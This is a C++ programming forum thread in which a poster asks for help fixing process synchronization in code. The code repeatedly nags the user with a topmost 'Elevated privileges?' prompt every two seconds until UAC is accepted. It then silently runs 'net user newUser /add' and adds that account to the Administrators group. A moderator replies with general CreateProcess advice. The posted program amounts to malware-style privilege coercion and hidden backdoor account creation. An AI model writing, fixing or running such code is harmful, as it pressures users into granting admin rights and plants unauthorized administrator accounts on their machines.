dcsimg
CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 2 of 2

Thread: process communication launched with shellexec

  1. #1
    Join Date
    Nov 2019
    Posts
    1

    process communication launched with shellexec

    I'm trying to request administrator privileges every 2 seconds but I have a problem synchronizing the two processes. The process created by ShellExecuteExA does not end unless you manually kill it. The primary process (the main function) ends with ExitProcess and now it is the shellexecute process that is running, that returns to the main and gets stuck in the ask function, asking again to raise privileges when it should not enter this function. I am using vs2019.

    Code:
    #include <iostream>
    #include <Windows.h>
    #include <WinUser.h>
    #include <string>
    #include <sstream>
    
    using namespace std;
    
    #pragma comment(lib, "User32.lib")
    #pragma comment(lib, "Shell32.lib")
    #pragma comment(lib, "Advapi32.lib")
    
    bool CheckIfAdmin()
    {
        BOOL RunAdmin = FALSE;
        HANDLE hToken = NULL;
    
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        {
            TOKEN_ELEVATION Elevation;
            DWORD cbSize = sizeof(TOKEN_ELEVATION);
            if (GetTokenInformation(hToken, TokenElevation,
                                    &Elevation, sizeof(Elevation), &cbSize))
            {
                RunAdmin = Elevation.TokenIsElevated;
            }
        }
        // Cleanup
        if (hToken)
        {
            CloseHandle(hToken);
        }
        return RunAdmin;
    }
    
    bool Elevate()
    {
        char PathProg[MAX_PATH];
        if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
        {
            SHELLEXECUTEINFOA SEIA = {sizeof(SEIA)};
            SEIA.lpVerb = "runas";
            SEIA.lpFile = PathProg;
            SEIA.hwnd = NULL;
            SEIA.nShow = SW_NORMAL;
    
            if (!ShellExecuteExA(&SEIA))
            {
                DWORD dwErr = GetLastError();
                if (dwErr == ERROR_CANCELLED)
                {
                    // reject UAC
                    return false;
                }
                return false;
            }
            // accept UAC
            return true;
        }
        return false;
    }
    void execute_cmd(const char *m, INT opt)
    {
        std::ostringstream os;
        os << "/c " << m;
        ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);
    }
    
    bool run_uac()
    {
        if (!CheckIfAdmin())
        {
            if (Elevate())
            {
                return true;
            }
        }
        return false;
    }
    
    void ask()
    {
        while (true)
        {
            switch (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONERROR | MB_TOPMOST))
            {
            case IDOK:
                if (run_uac())
                {
                    // Now there are two processes running
                    ExitProcess(0); // exit from primary process
                }
            }
            Sleep(2000);
        }
    }
    
    int main()
    {
    
        MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);
        ask();
    
        // execute any action with privileges
        execute_cmd("net user newUser /add", SW_HIDE);
        execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);
    
    
        return 0;
    }

  2. #2
    2kaud's Avatar
    2kaud is online now Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    6,921

    Re: process communication launched with shellexec

    Why use ShellExecute() and not CreateProcess()?

    Why does the created process not end automatically and has to be killed manually?

    Usually I would use CreateProcess() which gives handles to the new process/primary thread. A WaitForSingleObject() or WaitForMultipleObjects() can then be used to determine when the created processes/threads have terminated.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++17 Compiler: Microsoft VS2019 (16.4.0)

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  


Windows Mobile Development Center


Click Here to Expand Forum to Full Width




On-Demand Webinars (sponsored)